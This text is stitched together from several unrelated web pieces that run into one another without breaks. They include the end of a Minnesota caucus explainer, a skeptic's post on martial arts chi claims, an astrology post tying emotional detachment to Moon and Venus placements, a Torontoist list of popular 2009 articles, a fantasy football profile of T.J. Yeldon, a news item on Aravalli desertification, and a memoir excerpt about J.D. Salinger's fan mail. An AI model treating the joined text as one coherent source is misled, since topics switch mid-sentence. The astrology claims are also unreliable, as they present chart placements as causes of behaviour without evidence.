5. Straw Vote for Presidential Candidates - All eligible candidate are listed and a simple secret ballot vote is taken by having attendees write down the name of the candidate they support on a folded piece of paper. Before the voting, anyone can speak in favor of their favorite candidate. Such speeches are very brief and there were only a couple in 2008. Immediately thereafter, the tallying group counts and tallies the ballots, with a double-check process and the results are announced. A report on the voting is hand carried, along with all ballots, to the ward officers for recording and reporting.
Note: At this point in 2008, almost everyone left the caucus meeting. We had about 100 votes in the straw vote. Only 12 people were left for the rest of the meeting.
6. Call for Resolutions - At this time, any caucus attendee can submit resolutions for consideration at the District convention held about a month later. Any resolutions are read by the presenter and voted on by caucus attendees. In 2008, there were two resolutions presented and both were voted for and passed on to the next level.
7. Election of Precinct officers - Each Precinct has a chair, vice-chair and secretary. They really have no duties required of them. If the current officers are interested, they are usually re-elected. Getting volunteers to become officers is usually the biggest problem, even though there aren't really any required duties. I've been the chair for a few years, and maintain a website for the precinct, but it's the only precinct I know of with a website.
8. Election of Delegates to the State Senate District or County Convention - Each precinct is allocated a certain number of delegates. In 2008, our precinct could elect 14 delegates to the next level convention. Since there were only 12 people left at the caucus at this time, anyone who wanted to be a delegate could be a delegate. Only six people became delegates in 2008, which was too bad, really.
9. Adjournment - That's it. The caucus is adjourned and whoever is left goes home. The caucus chair takes the list of delegates to the ward chairman.
The bottom line here is that 100 or so people voted for their preferred presidential candidate. That's all. The vote was about 70 for Obama and 30 for Clinton. That all became part of the overall balance of delegate selection at the state convention, when combined with all of the other precinct results.
In 2008, the entire caucus meeting lasted less than 2 hours. And that's how it works in Minnesota. It was the highest attendance ever for a Ward 6, Precinct 13 caucus meeting. There are just over 2300 registered voters in that precinct. So about 100 people decided for the entire precinct.
If you have a caucus system, go to your caucus meeting. Your voice is definitely heard. Become a delegate to the convention at the next level. It's interesting and you get another voice in the process. Get involved! 7 TweetThis post comes courtesy of Jeff Westfall, someone I’ve known and respected as a leader in the martial arts community since I moved to Indiana in 1992. I’m absolutely delighted that he agreed to share his insights into pseudoscience in the martial arts with us. You can read details of his background on his school’s website here. –Jenny
I’m Jeff Westfall for the Martial Brain
Recently on Facebook I saw a video of a Finnish martial artist named Jukka Lampila who called what he did Empty Force or EFO, and claimed that with it he could control an attacker without touching him. His Facebook page proclaims him the founder of EFO. The video begins with clips of Lampila fending off ‘attacks’ from his students. He waves his arms; sometimes he twitches, and in each case the ‘attacker’ seems to be magically thrown to the mat without ever being touched by Lampila. He also shows an example of ‘controlling’ someone on the ground. He kneels calmly beside a supine student with the back of his hand gently resting on the man’s chest. “I don’t need to use any energy” he asserts as the student appears to try with all his might to regain his feet to no avail. It is a sad display of martial arts charlatanism.
Unfortunately for Mr. Lampila, a group of skeptics were in attendance this day, and several of them volunteered to be ‘controlled’ by Mr. Lampila. His chosen method was to have the volunteer try to push him. He failed in each case to stop them from doing so. The skeptics were admirably polite, giving Mr. Lampila an ample number of opportunities to prove his claims and not demonstrably gloating at his failures. When one of them calmly asked him if he would like to demonstrate his defense against a punching attack Mr. Lampila declined. He later invited everyone to pay for and attend his seminar the next day!
I’ve been involved in the martial arts since 1971. I’ve been teaching martial arts since 1975. In this time, and long before I became aware of formal scientific skepticism I grew to see that a lot of people are drawn to martial arts styles that are based on pseudo-science. The arts that are the biggest culprits by far are the arts that base their claims of effectiveness on developing and manipulating a purported form of internal energy. Whether you label it Chi, Ki, Prana, “The Force”, or Empty Force it has never to my knowledge been proven to exist through robust, double-blind, replicated scientific experiments. If it is energy, where are the scientific instruments that can detect its levels? Is this energy chemical, radiant, nuclear, kinetic, electro-magnetic, mechanical, or ionizing? Is this energy in the form of waves or particles? At the risk of building a straw man, I’m going to go out on a limb here and guess that practitioners and apologists for these arts would say that science doesn’t know everything, and that “chi power” is as yet unexplained by science. If this were plausible, wouldn’t it follow that a large number of physicists would be pursuing a future Nobel Prize by attempting to prove the existence of this vital energy?
In the last 43 years I’ve seen quite a few ‘demonstrations’ of this power. I have yet to be impressed. Mostly what I’ve seen were sad carnival sideshow tricks, many of which I can easily explain if not reproduce, without resorting to magic. The rest were feckless displays like that of Mr. Lampila.
I assert that on the rare occasions when practitioners of these styles defend themselves effectively it is through properly applied principles of leverage and body mechanics, and not the magical power of Ki.
This phenomenon raises further questions. First, what possesses people to train in such a system of martial arts? Second, what is in the minds of people who already train in such systems and continue to do so after seeing their ‘Master’ embarrassed as Mr. Lampila was in the video?
As for what draws people in the first place, I will cite what scientific skepticism has taught me. Human life experience is complex. A trait of humans is that we tend to be put off by complexity and seek simple answers. Perhaps this stems from an early genetic history as prey animals. In such an environment time spent on deeply rational thinking can get you killed. Quick and dirty heuristics are survival mechanisms. Perhaps we have an instinct to seek out simplicity. Whatever the origin of our propensity to seek out simple answers to complex questions, it can make us prone to magical thinking and leave us easy prey for con-men and charlatans.
Lots of folks are put off by the daunting challenge of thorough and extensive training in practical martial arts. It is a lot of hard work. It is time consuming. It costs money. It would be so much easier if one could avoid the stretching, calisthenics, set-backs, and occasional injuries and ‘simply’ cultivate one’s potent internal energy!
It is also frequently the case that some people wish to learn to learn self-defense, but have a profound sense of revulsion regarding violence. Unfortunately these sweet-natured people are usually powerfully drawn by the lure of a martial arts style that claims to be both effective and humane through the use of ‘Chi’. I have a soft spot for these folks, and I deeply respect their pacifism. As a result I am especially angered when they fall prey to arrogant, condescending, cynical con-artists who serenely take their money while harboring secret contempt for their foolishness.
The best way to be able to defend yourself while striving not to harm your attacker is to train in practical martial arts until you reach a reasonable level of competence. A person who is not credibly competent at self-defense can no more claim to be a pacifist than a eunuch can claim to be a celibate.
As for explaining what keeps people already training in these styles in the face of a lack of evidence, there are parallels in other forms of pseudo-science. Whether it is faith healing, alternative medicine, astrology, or any other form of what James Randi refers to as ‘woo’, there are two types of followers.
The first is the ‘true believers’ who have so much of themselves invested that they engage in cognitive dissonance and turn a blind eye to evidence because their very sense of identity has become dependent on their belief being true. Humans are lamentably prone to profound self-deception. Many people take up martial arts for reasons other than self-defense. A very common motivation, whether at the conscious level or not, is that it can make you feel better about yourself. Many people have a trait that psychology calls the Fantasy Prone Personality. For those with FFP, a martial art based on magic is a perfect fit, engaging the fascination with the super-natural while building up the student’s self-image.
The second type of follower is the apprentice con-artist who sees the perks that the practitioner enjoys and is paying dues in the hopes of being the successor to the master or doctor.
It is worth pointing out that martial arts teachers pushing this stuff also fall into the categories of true-believers and cynical con-artists as well.
What to do about martial arts con-artists? I’m not fond of government regulation. There are too many disparate styles of practical martial arts to make it practical. I think the best way to deal with them is to shine the actinic light of scientific skepticism on them. Sunlight is the best disinfectant.
Don’t be put off by failures in this regard. Human nature yields a steady supply of victims for pseudo-scientific predators. Like practitioners of alternative medicine, they are unencumbered by the rigor of valid logic and the scientific method. Battling these people is like brushing your teeth or mowing your lawn, you never permanently finish the job, but you keep it up anyway!
2/25/14 Edited to embed the original Youtube video this post is referencing.–Jenny
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AdvertisementsI’ve heard a lot of complaints by women about men being emotionally detached. As men we are supposed to be the stronger and more emotionally grounded sex. There are also many emotionally detached women out there as well. What all of these people are missing, is that there are many ways different people process emotions depending on their astrological make up. The people who are “emotionally detached” are really people who process emotions in a way the accuser doesn’t understand. On the flip side, the “emotionally detached” person can’t understand what the big deal is about. While there are genuine cases of course, of emotional detachment due to trauma and other life experiences. I would assert that its a simple element or aspect incompatibility in the natal and synastry chart. I will give examples of some emotionally detached aspects and planet placements.
Moon in air signs – It must be understood that air is an objective and rational element. Raw emotion is strange and confusing to these individuals and they will be uncomfortable with expressive emotions.
Moon in Capricorn- Moon in Capricorn is in detriment, and has trouble letting emotions go freely.
Moon aspecting Saturn– Saturn being the planet of structure, order, and restriction is a natural enemy of the moon which needs to be free to express itself.
Moon aspecting Pluto – Controlling emotions is very important and emotions are deep and intense but not demonstrative.
Venus in air– too much emotional probing and analyzing is uncomfortable for these natives. Possessiveness is not an attribute that is looked upon positively by these natives.
Venus aspecting Saturn– Demonstrative love is not a real hallmark with these aspects so significant others will find these peoples coolness a bit too cold. Saturn is an enemy of Venus.
Venus in Capricorn– Again, Saturn is an enemy of Venus.
Venus aspecting Pluto- Expression is controlled but the intensity is present because the upper hand must be kept.
These are a few of my findings. If you are having any of these specific issues I can be contacted and this can be explored to see if it is in your natal or synastry.
Any other findings? Please do add- on and if you so choose, explain your findings and thoughts.This post is part of Polyarchy, an independent blog produced by the political reform program at New America, a Washington think tank devoted to developing new ideas and new voices |
news Torontoist’s Most Popular Articles of 2009
Illustration by Brian McLachlan/Torontoist.
Torontoist published a little less than three thousand articles in 2009, but some were inevitably more popular than others—for traffic, the internet sure loved short paragraphs and funny photos (preferably with nudity!); for comments, you readers sure enjoyed things you could argue about; and for “likes,” which accumulate whenever you click on the “like” button below a post, you sure did renew our faith in humanity by leaning a little more towards our thoughtful pieces.
It was an exciting year for more than just all those articles and all you fine readers, new or old: after much drama last December, Torontoist changed hands to a team of local investors in April. We also become partners with a paper you might have heard of in May.
But hearing about how lovely we are isn’t why you’re here, right? We’ll just have to prove it. Bring on the copy-edited Star memos, accidentally printed penises, crappy advertising, and amazing puns: here are some of Torontoist’s most popular articles of 2009.
Most “Liked”
1
Illustration by Brett Lamb/Torontoist.
2 Heroes and Villains, 2009
Torontoist picked twenty-four Heroes and twenty-four Villains of the year and pitted them against each other in a competition now nearing its dramatic close.
3 Hangin’ Out at St. Peter’s
As Regret the Error put it, it was “the most famous peter in Peterborough”: a photographer for the Peterborough Examiner snapped a shot of a young man’s penis falling out of his Coors Light shorts—a photo syndicated in Metro and distributed to that free daily’s massive readership. When it comes to mistakes, Metro has really had an underwhelming breast. Er, year.
Photo by Juanita Koo.
4 Torontoist’s Birthday Cupcake Bake-Off
To celebrate Toronto’s 175th birthday, we asked you to make Toronto-themed cupcakes, and you totally blew our minds with your submissions, which ranged from subway maps, to gumpaste and fondant Honest Ed’s tributes, to Juanita Koo’s astounding winning collection (pictured in part above).
5 Rosie DiManno Libels the Dead Anyway
When Jarvis Collegiate teacher David Dewees killed himself two days after being charged with two counts of invitation to sexual touching and two counts of luring, the Star‘s Rosie DiManno took it upon herself to imagine the mindset that led to his decision, asserting that “his kink” was “a sexual attraction to boys,” when no court of law had proven his guilt.
Photo by Matt Kim/Torontoist.
6 Boards of Ed
All about Honest Ed’s iconic hand-painted signs, the men who create them, and the dying art they practise.
7 Street Heart
When street artist Posterchild decided to propose marriage to his girlfriend, Sonja, he just had to be all fancy about it: he made a special piece of street art just for her, then tricked her into helping install it.
Photo by Marc Lostracco/Torontoist.
8 Family, Valued
More than one hundred same-sex couples have adopted children since 2000. We looked at the services that make those adoptions happen, and the families that come from them.
9 Gossip Folks, by Lauren White
Lauren White, Toronto’s most famous oversharer—though she’s got some new competition in an alt weekly—overshared about oversharing, with us.
Photo by Ayngelina Brogan/Torontoist.
10 Blanche Slate: Nuit Blanche Live
Torontoist stayed up all night during this year’s Nuit Blanche, with our photographers and writers circling the city and relaying the best of what we saw, found, and heard. Those updates were also broadcast live onto the wall of the Art Gallery of Ontario. (So wait, were we documenting the art? Or were we part of it? We’ve got a three-thousand page manifesto about that forthcoming.) The day after Nuit Blanche, we tried to think about how to make it better next year.
11 A Snapshot in Time
Jeff Low finds old photographs of Toronto, then re-shoots them today, as closely as possible to the original, to juxtapose the city’s past and present. They’re really cool.
12 Bicycle Ticketed for Excessive Awesomeness
Cyclists aren’t usually fond of getting tickets, but artist Leanne Eisen found a pleasant surprise on her classic Dutch Batavus at the end of the summer: a citation for her “badass” and “unique” bike.
13 So, Anything Weird Happen While I Was Away?
Let’s get this out of the way: one of the most popular videos to grace Torontoist’s pages this year might be fake. Jay David told the Post that his video, of emails he received from an increasingly panicked girlfriend while he was on a trip she forgot he was on, was “inspired by truth, written for fun.” Good thing it doesn’t make what he created any less funny.
14 Nowhere to Hide from Google Street View
We spent much of 2009 stalking Google’s Street View cars; when Google Street View finally launched on October 7, we revelled in the fruits of Google’s labour and showed off our favourite finds from it.
Photo by Nick Kozak/Torontoist.
15 Forget Paving Paradise, Let’s Just Dig a Giant Hole in It
Sometimes, important things happen outside of Toronto. We’re blowing your mind, we know, but the story of the small township of Melancthon’s fight over a massive quarry—which we told in November—is the kind of thing that every citizen of Ontario should know (and care) about.
16 Terence Corcoran Hates Your Bike
In what we’re still hoping was somehow satire despite a lack of any evidence of it being so, the Post‘s Terence Corcoran broke down the “free ride” cyclists get, including alleging that cyclists skirt paying for their…carbon footprints? We almost forgot how crazy that article was, Terence Corcoran.
17 Stopping to Take in Yonge Street
People like timelapse videos. It doesn’t matter if they’re of garbage during the summer strike or snow during a late-fall storm: if someone records a video in which things happen faster than they would in real life, several someones-else will eat it up. Especially us. Ismail Atiev and Djabrail Tataev walked the forty-two kilometres of Yonge Street in fourteen hours, photographing each other along the way, shrunk their experience down to three minutes, and a star was born.
Photo by Tom Podolec.
18 We Like Big Jets and We Can Not Lie
The Airbus A380 is the world’s largest passenger aircraft and undoubtedly one of its most luxurious, and unless you are very very very very rich, our feature about it—written just after its inaugural flight into Toronto—may be the only chance you have to get a detailed look inside.
Photo by Michael Chrisman/Torontoist.
19 Green Sleeves
Sean Martindale and Eric Cheung spent their summer putting plants inside posters that they cut and bent and rolled to serve the purpose. Torontoist spent a very early morning in Kensington Market with the pair at the end of July as they worked. (Martindale, as it’d turn out, had a few more creations that’d strike our fancy.)
Photo by Nick Kozak/Torontoist.
20 A Better Toronto, According to a Bunch of Kids
At Bunch Family Salon in March—an event for cool kids and cool parents that focused, this year, on city-building—we interviewed some of the kids about what they liked, disliked, and would change about Toronto. The second-favourite place of Luke (above), is “mummy’s office, where she works.”
Most Viewed
1
Photo by Meg Campbell/Torontoist.
2 The Great Torontoist Pun Hunt
For several months in 2008, Torontoist’s staff—with the help of our readers—tracked down sixty-two Toronto businesses with amazing puns in their names. If anyone asks if there’s a clothing store called Boulevard of Broken Seams, a shoe store called Shoe La La, a haircutter called British Hairlines, or a pub called the Pour House, the answer is yes, and thank gosh for that.
3 Hangin’ Out at St. Peter’s
4 We Like Big Jets and We Can Not Lie
Photo by Michael Chrisman/Torontoist.
5 Hold It Now and Watch the Hoodwink
The people behind Joshua Jackson flick One Week tried their hand at an unconventional ad strategy: instead of filling full-page ads with critics’ praise of the film, fill full-page ads with YouTube comments left on the film’s trailer. Who wants a pro’s opinion when you get a promotional nugget like “Joshua Jackson’s best role to date but how about that Gord Downie he’s so awesome and Canadian!”?
6 Disgruntled Star Editor Takes Constructive Revenge
Photo by Jeff-C-C from the Torontoist Flickr Pool.
7 Jealous of City Employees, Lightning Strikes Too
Whether you weathered this summer’s weather, or whether you withered, you have to admit it sure was pretty pretty to watch.
8 Heroes and Villains, 2009
9 “Women: stop ignoring and mistreating young men.”
Someone fired up Microsoft Word and whipped out a tape dispenser and covered downtown Toronto in 8 1/2 x 11″ sheets of paper pleading with unnamed “women” to, well, “stop ignoring and mistreating young men.” We’re going to go ahead and guess that the Calibri-typed plea went unheeded.
10 Martin Streek is Dead
Former Edge 102 DJ Martin Streek committed suicide at the beginning of July, a few months after being dismissed from the station. In the days after his death, many fans saw fit to take their rage out on NOW‘s Susan G. Cole, after she implied in her initial obituary that it was “dangerous excess” that contributed to Streek’s death, without any evidence of that being the case. Eye, meanwhile said goodbye to Streek—later, one of our Heroes of 2009—with a much more thoughtful obituary.
11 A Snapshot in Time
Photo by J Deschamps.
12 Boo, Yeah!
Halloween and Church Street: a match made in costume heaven. We picked but a few of our favourite get-ups out of the hundreds upon hundreds on display. (We hold a special place in our heart for this Anna Wintour.)
13 A Breezier Way to Ride the Rocket
Improv in Toronto’s No-Pants Subway Ride features people, without pants, riding the subway. And you no-good perverts ate it right up, didn’t you??!!? Sheesh, can’t a group of strangers ride public transportation while conspicuously not wearing pants?
Photo by Miles Storey/Torontoist.
14 Zombie Walkers Play Dead for Shuffling Success
Zombies! As their popularity increases, is their coolness waning? Be careful not to think too carefully about that; brains only get tastier with use.
Photo by Andrew Louis/Torontoist.
15 Proud Crowds
This year, we took part in the Pride Parade with (Heroes) Derek Forgie and Heterosexuals for Same-Sex Equality, and got a chance to experience the parade from the inside looking out.
Most Commented-On
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Photo by Christopher Drost/Torontoist.
2 Tamils Take to the Gardner and Torontoist vs. Torontoist in… Tamil Protests
From March on (and on and on), steadfast Tamil protesters, protesting escalating violence in Sri Lanka, kept themselves in the news, but never moreso than on the lovely May afternoon when several thousand took over the Gardiner Expressway on foot. Our photographers converged on the scene, staying with the protesters until they left long after sunset. People freaked out about it, but such was the trend this year.
Photo by Michael D’Amico.
3 Tall Poppy Interview: Anser
In his (or is it her?) first interview, the street artist responsible for scrawling faces around Toronto talked to Torontoist about the process for picking a spot and painting (and often re-painting and re-painting) a portrait there, the line between street art and graffiti, and if there was a real woman attached to one of the city’s most recognizable faces. (Short answer: no. Long answer: “It could be like subconscious, that subconsciously I started with a certain person.”)
Photo courtesy of Illegal Signs.
4 Billboard Companies Protest Billboard Tax…On Illegal Billboards
If there are two things that outdoor advertising companies love, it’s breaking the law and not getting taxed. That would make 2009 doubly bad, and the future of billboard advertising in Toronto even worse.
5 Not Your Typical Club Anthem
PETA is like the internet’s version of Beetlejuice: say it a few times, and it’s best you step back. Even Joel Gibb of the Hidden Cameras couldn’t make it right.
6 I Am CUPE, Hear Me Roar
Wait, did we say PETA was internet Beetlejuice? We meant Israel. Or heck, unions. We’d forgive you if you forgot about what happened at the beginning of 2009, when CUPE Ontario proposed a “a ban on Israeli academics doing speaking, teaching or research work at Ontario universities,” presumably because CUPE’s new year’s resolution for 2009 was to be really stupid.
7 Heroes and Villains, 2009
8 Gossip Folks, by Lauren White AKA Raymi the Minx
Photo by David Topping/Torontoist.
9 TTC Kills the Radio Star
In a year of questionable advertising, few ads were worse than Virgin Radio’s “Give Your Radio a Reason to Live” posters, one ad of which featured a radio teetering on the edge of a subway platform, apparently about to commit radiocide. Worse: those ads were displayed on transit shelters, when it goes without saying that the TTC is resolutely anti-suicide. And yet, after the TTC told us they planned to take the ads down, the transit organization didn’t do so swell of a job.
10 The Great Torontoist Pun Hunt
11 Putting Parks First
Hey, remember the city workers’ strike? And the residents living near Christie Pits who protested against the park being used as a temporary dump site a little more than a week into the strike? And then the strike went on to last another three weeks? That was very fun.
11 Evolutionary Psychology
It’s safe to say that Richard Dawkins is a bit of jerk, even if his jerk-iness is justified. The question, which we mulled over when he arrived in Toronto for a lecture at the end of September, is whether that helps or hurts his cause.
13 Terence Corcoran Hates Your Bike
14 Is “No Pets Allowed” Allowed?
Can landlords prevent you from renting a unit if you have a pet? We broke down the laws and rights to try to explain the answer.
Photo by Nick Kozak/Torontoist.
15 They Heard the News Today, Oh Boy: City Workers’ Strike Edition
People on the internet sure do like to get angry. That’s why we’ve got a column called They Heard the News Today, Oh Boy, which picks apart the worst of the worst comments on local media sites. Its very first edition, about the nearly over city workers’ strike, took out the (comment) trash.
If you’re not reading Torontoist regularly yet, how come? You can subscribe to us via RSS, follow us on Twitter, and get involved in a whole bunch of other ways.One skill we always value when it comes to drafting fantasy potent running backs is the ability to catch the football. Now, you might think a good receiving running back is only valuable in PPR (points per reception leagues) but that is simply not true. While receiving running backs definitely have more value in PPR leagues, they're also highly draftable in redraft leagues.
Of the Top 7 fantasy running backs last year, only one guy didn't have at least three receiving touchdowns. Two out of the top 4 had at least 800 receiving yards while the bottom three of those seven guys had receiving touchdown totals of 4,5, and 4 respectively.
The one guy who failed to register a receiving touchdown happened to be the top fantasy running back in the league, in this case DeMarco Murray. But Murray was an exception to the rule considering he carried the ball over 100 times more than any other running back in the league last year and was also gifted with an outstanding offensive line.
Plus, Murray still compiled a respectable 57 catches for 416 yards, so he was still a potent receiver despite not having a catching touchdown to his name.
Why a good receiving running back is valuable — especially in Dynasty Leagues
One big thing you have to remember is that catching the ball is a skill, not an athletic gift. Skills don't fade, but athletic ability does. We've seen countless running backs keep themselves valuable into their 30s with their ability to catch the ball. Bills running back Fred Jackson is still fantasy relevant and he just turned 34 years old. Jackson caught a career-high 66 passes in 2014 at age 33, totaled 501 receiving yards and caught a touchdown. Eagles running back Darren Sproles caught 40 passes at age 31 last year with the Philadelphia Eagles.
Receiving skills don't go away, and if you're looking to invest in somebody long term for a dynasty league, then these are the skills you should be valuing.
How it helps in other ways
Overall, finding a good receiver for your running back spot can enhance your chances of avoiding dud performances due to the variety of ways in which he can get you points. Anybody can fall victim to what's known as 'gameflow' in fantasy football. An example of gameflow working against you would be something like... if a running back only puts up 30 rushing yards because his team gets down early and they have to pass the ball. On the other hand, a receiver can end up with zero catches if a team scores a lot of points early and just runs the ball to chew up clock late. So, if you have a player that can both catch and run the ball, your chances of falling victim to gameflow decrease drastically.
Plus, with the NFL still being a passing-based league despite many teams eying to replicate the Seattle Seahawks' formula centered around running and defense, it's always good to have a receiving back in general.
Overall, you should be looking for a solid receiving back in your dynasty draft. And if you're looking to find guys who might have the talent to do that, look no further than Alabama running back T.J. Yeldon.
What he did in college
First, let's talk about Yeldon's ability as a rusher since that's always the chief talent that will keep him on the field in the first place. Though Yeldon only ranked 61st among all rushers in 2014, he finished with a respectable 979 yards and more importantly, 11 touchdowns on a solid 5.0 yards per carry. He's not a real physical runner and also runs with his pad level tad high at 6'1. Ball security issues where a huge concern as well, as he fumbled 10 times in 576 carries.
Like most running backs, Yeldon also struggled in pass blocking, opting to throw his shoulders around instead of squaring up to block incoming linebackers and defensive linemen. Those are his biggest weaknesses and what may keep him irrelevant in fantasy despite his catching ability. We'll just assume he works on those flaws and gets better for the sake of argument.
Yeldon, like most Alabama running backs before him, wasn't asked to catch the ball much in Alabama. The Crimson Tide instead relied mostly on Amari Cooper for their receiving needs, as Coop accounted for over 70 percent of the team's total targets, an incredible number when you figure the best wideouts on NFL teams might account for 30-40 percent of total team targets.
Still, even though he didn't catch the ball much, it doesn't mean he doesn't possess the skill. His fellow Crimson Tide teammate, Eddie Lacy, actually wasn't much of a receiver out of college either. Lacy quickly erased any doubt that he could be a valuable pass catcher in the NFL when he finished with 42 catches (13th most among RBs), 427 yards (6th most among RBs) and 4 touchdowns (tied for 4th among RBs) in 2014, which was only his second NFL season. Of course, Lacy benefited from playing with Aaron Rodgers, who's one of the leagues best quarterbacks.
Since we don't know who will be throwing Yeldon the ball just yet, we can only look at his individual catching ability based on his college tape. Lets take a look at some of his receiving examples out of college to see if he actually can catch.
Example No. 1
In this first clip against Mississippi State from 2014, Alabama quarterback Blake Sims looks down the field at his receivers, who are both covered. He then looks to the far sideline and hits Yeldon, who's running up the sideline, on a wheel route. Yeldon makes the catch cleanly and maintains his balance on the sidelines, getting both feet in bounds. Overall, some good awareness of the sideline there. Also, he catches the ball with his hands and keeps it away from his body, which is a good sign his hands are soft.
Example No. 2
This one is probably my favorite examples of Yeldon's catching ability and it's not even a true completion. Sims fakes to Yeldon, who then runs up the sideline and manages to haul in a long pass with a corner draped on him and a safety coming over the top to drill him. Yeldon doesn't complete the catch all the way through, but he still does three things very well. For one, he sheds the defender to create space and get himself open. Two, he has to turn his body around and lean back to adjust to the pass. Lastly, he times the catch perfectly, catching the ball at the peak of his jump. These are the kind of ball awareness skills every good receiver has. Plus at 6'1, Yeldon is a little bigger than most running backs and can use his size on contested balls like that.
Example No. 3
In the last example, you get an idea for what Yeldon can do in the open field. Yeldon makes a simple catch out of the backfield, one nearly every running back can make, and then moves the ball up the field and makes on defender miss before being tackled from behind. He makes the catch at about the opponents 47-yard line before advancing the ball all the way down to the 32. Once he knows he's about to go down, he doesn't fight for extra yardage and instead falls down before a defender can lay a big hit on him.
Final verdict
Overall, Yeldon doesn't look flashy in the open field. He's not super quick and he's also not strong enough to move the pile. Still, a lot can be said about his reliability as a receiver. He will produce in the receiving game when on the field at the NFL level. He just has the right instincts, ball skills and overall reliable hands you'd want out of a quality receiving back.
Regarding how that translates to fantasy football, Yeldon will likely not start in his first year, which makes him undraftable in most redraft leagues unless he's gifted a starting role like Bishop Sankey was with Tennessee last year. But as we all know with running backs, injuries can rear their ugly head at any moment. If Yeldon does get an opportunity, he will be a good flex play because of his catching ability. Expect him to be a good plug and play guy when right opportunity comes about, especially in PPR leagues.
View Army Recruiting's Flickr page here.Union minister of environment, forest and climate change Dr Harsh Vardhan and Haryana chief minister Manohar Lal Khattar urged people to plant two crore saplings within a year to protect the Aravallis.
They were speaking at an event to mark the World Day to Combat Desertification, at Bhondsi on Saturday.
The appeal by the two leaders follows a survey by the Wildlife Institute of India (WII) which showed that 12 vegetation gaps have appeared in the Aravallis and pointed to its desertification.
“Everyone should contribute to the environment and reduce carbon footprint. This will reduce global warming, which is a big concern globally,” Dr Vardhan said.
“Planting a sapling and taking care of it is not a huge responsibility at all,” he added.
Chief minister Manohar Lal Khattar emphasised on the need to create awareness about the Aravallis. He said that the Aravalli hills are under threat due to illegal mining, felling of trees and pressure from urbanisation. About 32% of the total land area in the country is affected by land degradation, which is a major concern, he said.
Read more: Aravallis could lose vegetation, become barren, says survey
The Aravalli range has a significant role in combating desertification as it is the oldest mountain fold in India and runs from Delhi to Rajasthan, Khattar said, adding that the plan is to revive the existing programmes and protect the forest area.
“As many as 7,797 wardens and 7,800 volunteers will be deployed in forest areas to protect the Aravallis and spread awareness,” Khattar said. Asked about the Mangarbani grove, he said that the area comes under ‘protected zone’ and soon steps will be taken to protect it.
The state has less than 4% of forest cover and the government aims to increase this to 10% over the next three years.
However, environmental activists claim that isolated events, such as World Day to Combat Desertification, fail to address environmental issues. “The government should keep all premission related to felling of trees, construction, real estate and change of land use, on hold till an order from Supreme Court clarifies the definition of forest areas in the state,” said Chetan Agarwal, environmentalist.
First Published: Jun 17, 2017 23:43 ISTAlso in Slate: Ron Rosenbaum on Salinger, sex, and the road not taken; Troy Patterson on the two Salingers; Stephen Metcalf on Salinger’s genius; Nathan Heller on Nine Stories; Chris Wilson on “ Seymour: An Introduction“; Jody Rosen on Salinger’s New York; Dana Stevens on Hollywood Holdens; Donald Fagen on his love for Franny Glass.
On my first day of work at Harold Ober Associates—one of New York’s oldest and most storied literary agencies—I was shown the enormous, outmoded IBM Selectric on which I would type letters for my boss, the clunky Dictaphone that would provide me with the content of those letters, and the vast metal cabinets in which I would file all correspondence with authors. I was then escorted into the dimly lit corner office occupied by Phyllis Westberg, the company’s president, whom I would be assisting.
“Sit down, sit down,” said Phyllis. “We need,” she said, as I arranged myself in the chair across from her large wooden desk, “to talk about Jerry.” I nodded in an attempt to mask the fact that I had no idea what she was talking about. This was 1996, and the first “Jerry” to come to mind was Seinfeld. It was only later, when I noticed a wall of books opposite my new desk—all with plain spines, in maroon, yellow, and white—that I realized the Jerry in question was Jerome David Salinger.
“Now, his address and his phone number are in the Rolodex on your desk,” Phyllis explained. “People are going to call and ask for his number. You think it won’t happen, but it will.” She paused to light another cigarette. “Grad students. Reporters. Just … people. They may try to trick you or manipulate you. They may give you some song-and-dance routine.” She laughed a throaty laugh, then fixed me sharply in her pale blue eyes. “But you can never, ever give out that address. Or that phone number. NEVER. OK?” I nodded and gave her my most professional smile. “Because it’s happened before,” she told me. “I’ve had assistants who just don’t understand.”
“I understand,” I told Phyllis, though really I didn’t. I knew almost nothing about Salinger. I had been perhaps the only American teenager—or, the only bookish, angry, misfit American teenager—to have graduated from high school without reading The Catcher in the Rye, though it had sat on my parents’ bookshelf, right next to Franny and Zooey and Raise High the Roof Beam, Carpenters. Once or twice, on rainy afternoons, I’d skimmed the first pages of the latter books and found the writing overly cute, the subject matter tired. I knew, I suppose, that Salinger was a recluse, but I didn’t understand the extent of his removal from society, in general, and the realms of literature and publishing, specifically. Nor did I understand—naive as this sounds—the cultlike devotion of his fans, that there were people in the world—many people—whose entire existence seemed to revolve around their identification with Holden Caulfield or Franny Glass.
My naiveté didn’t last long at Ober. Every day, a bundle of mail was dropped on my desk by the office secretary, much of which consisted of letters addressed to Salinger. The letters came from Sri Lanka or the Netherlands or Arizona. They included deeply personal admissions—cancer diagnoses, bankruptcy, divorce—and were often written in Salinger’s own brash style or, at the very least, incorporated the slang of the period he chronicled. “Dear Jerry, you old bastard,” they tended to start. “I gotta tell you. The Catcher in the Rye is one helluva goddamn book.”
Some of these letter writers wanted something specific from Salinger—his permission to make a film version of one story or another, often—but most simply wanted a letter back from him. For the most part, they knew that Salinger didn’t read his fan mail—in fact, he’d insisted that nothing, not one letter, be passed on to him—but each was convinced that his letter was going to be the one that was so moving, so brilliant, so funny, so perfectly aligned with Salinger’s interests and sensibilities, that we, at Ober, would pass it on to him. And that Salinger would then, of course, recognize the writer—the teenage girl from Japan, the World War II veteran in Kansas—as a kindred spirit and write back. Though the authors of these letters varied in age and nationality, there was a theme common to nearly all the letters: Salinger was the only person who understood them.
All of this seemed ridiculous to me, at first, as ridiculous as the quasi-religious way in which Salinger was regarded in the Ober office. My position was less, I realized, a run-of-the-mill publishing job and more akin to entering the novitiate. We were Salinger’s gatekeepers—charged with protecting his life and work—but in order to do so, we had to buy into the mythology that had sprung up around the man, too. We had to believe that Salinger’s privacy was the most important thing in the world, to be protected at all costs. And in order to make this leap of faith, we needed to believe that Salinger, as his fans insisted in the letters I fielded daily, was the greatest writer of the 20th century. It was an honor I wasn’t willing to bestow.
With regard to Salinger’s correspondence, I had specific instructions. I had been given, along with my first batch of letters, a yellowing carbon of a standard form letter, which had been composed sometime in the 1960s and passed through the hands of, presumably, dozens of obedient, bored assistants before landing in mine. “Many thanks for your recent letter to J.D. Salinger,” the letter went. “As you may know, Mr. Salinger does not wish to receive mail from his readers. Thus, we cannot pass your kind note on to him. We thank you for your interest in Mr. Salinger’s books.”
